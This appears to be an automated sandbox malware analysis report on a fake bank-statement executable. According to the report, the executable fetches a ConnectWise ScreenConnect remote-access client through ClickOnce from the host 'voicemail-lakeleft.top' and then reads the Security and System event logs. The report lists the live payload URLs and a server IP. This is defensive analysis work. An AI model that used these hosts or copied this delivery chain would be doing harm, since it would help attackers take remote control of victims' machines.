Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srfsuer
Source: svchost.exe, 0000000E.00000003.1698276835.000002094ED10000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155342046.000002094E437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
Source: svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 0000000E.00000003.1698574319.000002094ED27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srfMM
Source: svchost.exe, 0000000E.00000003.1698276835.000002094ED10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 0000000E.00000003.1698276835.000002094ED10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfRE
Source: svchost.exe, 0000000E.00000002.3155342046.000002094E437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfY
Source: qmgr.db.4.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://signup.live.com/signup.aspx
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B41CB000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4325000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B43E4000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B3C9A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B435D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B42D7000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.C
Source: dfsvc.exe, 00000001.00000002.3176169925.000001E8CDE00000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3177545267.000001E8CDF85000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1569444555.000000000315F000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1569444555.0000000003151000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1568713722.000000000129F000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1568713722.0000000001331000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1570200570.000000001BAC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B3FFF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application#Scree
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B3FFF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application#Scree0
Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.1569247081.0000000001764000.00000004.00000020.00020000.00000000.sdmp, S0AMH0XA.log.1.dr	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application#ScreenConnect.WindowsClient.appl
Source: dfsvc.exe, 00000001.00000002.3176665958.000001E8CDEBF000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1570147020.000000001BA61000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1570020021.000000001BA33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application%
Source: dfsvc.exe, 00000001.00000002.3177545267.000001E8CDF85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application.6ZZfsA
Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.1570346922.000000001BAF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application?e=Support&
Source: S0AMH0XA.log.1.dr	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=popwee2.zapt
Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.1569444555.000000000315F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationX
Source: dfsvc.exe, 00000001.00000002.3176665958.000001E8CDE88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationt
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B3FFF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationx
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B42D7000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3178098823.000001E8CDFCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.dll
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B42D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.dllPx
Source: ScreenConnect.WindowsClient.exe, 00000007.00000002.1569444555.000000000315F000.00000004.00000800.00020000.00000000.sdmp, S0AMH0XA.log.1.dr	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.manifest
Source: dfsvc.exe, 00000001.00000002.3178098823.000001E8CDFCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.manifest-
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B41CB000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientSer
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B435D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3178098823.000001E8CDFCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientService.dll
Source: dfsvc.exe, 00000001.00000002.3178098823.000001E8CDFCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientService.dllu#
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B4263000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3174576774.000001E8CC419000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3173633903.000001E8CC340000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.ClientService.exe
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B4461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Core.dll
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B435D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Windo
Source: dfsvc.exe, 00000001.00000002.3178098823.000001E8CDFCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.Windows.dll
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B4263000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsBackstageSX
Source: dfsvc.exe, 00000001.00000002.3177545267.000001E8CDF85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsBackstageShell.exe
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B42D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsBackstageShell.exe.config
Source: dfsvc.exe, 00000001.00000002.3174576774.000001E8CC419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsBackstageShell.exe.config.
Source: dfsvc.exe, 00000001.00000002.3174576774.000001E8CC419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsBackstageShell.exe.config_
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B43E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsCl
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B4461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsClient.exe
Source: dfsvc.exe, 00000001.00000002.3178098823.000001E8CDFCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsClient.exe&
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B42D7000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3177545267.000001E8CDF85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsClient.exe.config
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B4263000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsClient.exeX
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B42D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsFileMa
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B42D7000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3177545267.000001E8CDF85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsFileManager.exe
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B4263000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3174576774.000001E8CC419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsFileManager.exe.config
Source: dfsvc.exe, 00000001.00000002.3174576774.000001E8CC419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsFileManager.exe.config6
Source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B4263000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsFileManager.exx

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.7:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.7:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.7:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.7:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.7:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.7:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.7:49814 version: TLS 1.2

E-Banking Fraud

Drops certificate files (DER)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C56C4404C4DEF0DC88E5FCD9F09CB2F1	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141	Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect	Jump to behavior

Reads the System eventlog

Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior

System Summary

Detected potential unwanted application

Source: monthly-eStatementForum120478962.Client.exe

PE Siganture Subject Chain: CN="Connectwise, LLC", O="Connectwise, LLC", L=Tampa, S=Florida, C=US

Creates files inside the system directory

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Detected potential crypto function

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Code function: 0_2_00F2A495	0_2_00F2A495
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC4AAD53	1_2_00007FFAAC4AAD53
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC47AEF5	1_2_00007FFAAC47AEF5
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC488A10	1_2_00007FFAAC488A10
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC4AEB48	1_2_00007FFAAC4AEB48
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC4A3C0C	1_2_00007FFAAC4A3C0C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC491BC8	1_2_00007FFAAC491BC8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC4ACBBD	1_2_00007FFAAC4ACBBD
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC4BA4C0	1_2_00007FFAAC4BA4C0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC48D599	1_2_00007FFAAC48D599
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC4A2581	1_2_00007FFAAC4A2581
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC482748	1_2_00007FFAAC482748
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC4951F8	1_2_00007FFAAC4951F8
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC4A32FD	1_2_00007FFAAC4A32FD
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC4833A1	1_2_00007FFAAC4833A1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC493908	1_2_00007FFAAC493908
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC493B68	1_2_00007FFAAC493B68
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC476178	1_2_00007FFAAC476178
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC471211	1_2_00007FFAAC471211
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC47F441	1_2_00007FFAAC47F441
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Code function: 1_2_00007FFAAC4AB46D	1_2_00007FFAAC4AB46D
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 10_2_00007FFAAC49D130	10_2_00007FFAAC49D130
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 10_2_00007FFAAC4670BA	10_2_00007FFAAC4670BA
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 10_2_00007FFAAC4610CF	10_2_00007FFAAC4610CF
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 10_2_00007FFAAC4610D7	10_2_00007FFAAC4610D7
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 10_2_00007FFAAC7758F1	10_2_00007FFAAC7758F1
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 10_2_00007FFAAC770135	10_2_00007FFAAC770135
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Code function: 10_2_00007FFAAC776B49	10_2_00007FFAAC776B49

One or more processes crash

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 7160 -ip 7160

Uses 32bit PE files

Source: monthly-eStatementForum120478962.Client.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, PopoutPanelTaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ProgramTaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, TaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'

Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: ScreenConnect.ClientService.dll.1.dr, WindowsLocalUserExtensions.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)

Source: classification engine

Classification label: mal51.evad.winEXE@19/76@3/2

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

0_2_00F21000

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

File created: C:\Users\user\AppData\Local\Deployment

Jump to behavior

Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7160
Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Mutant created: \BaseNamedObjects\Global\netfxeventlog.1.0

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

File created: C:\Users\user\AppData\Local\Temp\Deployment

Jump to behavior

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Command line argument: dfshim

0_2_00F21000

Source: monthly-eStatementForum120478962.Client.exe

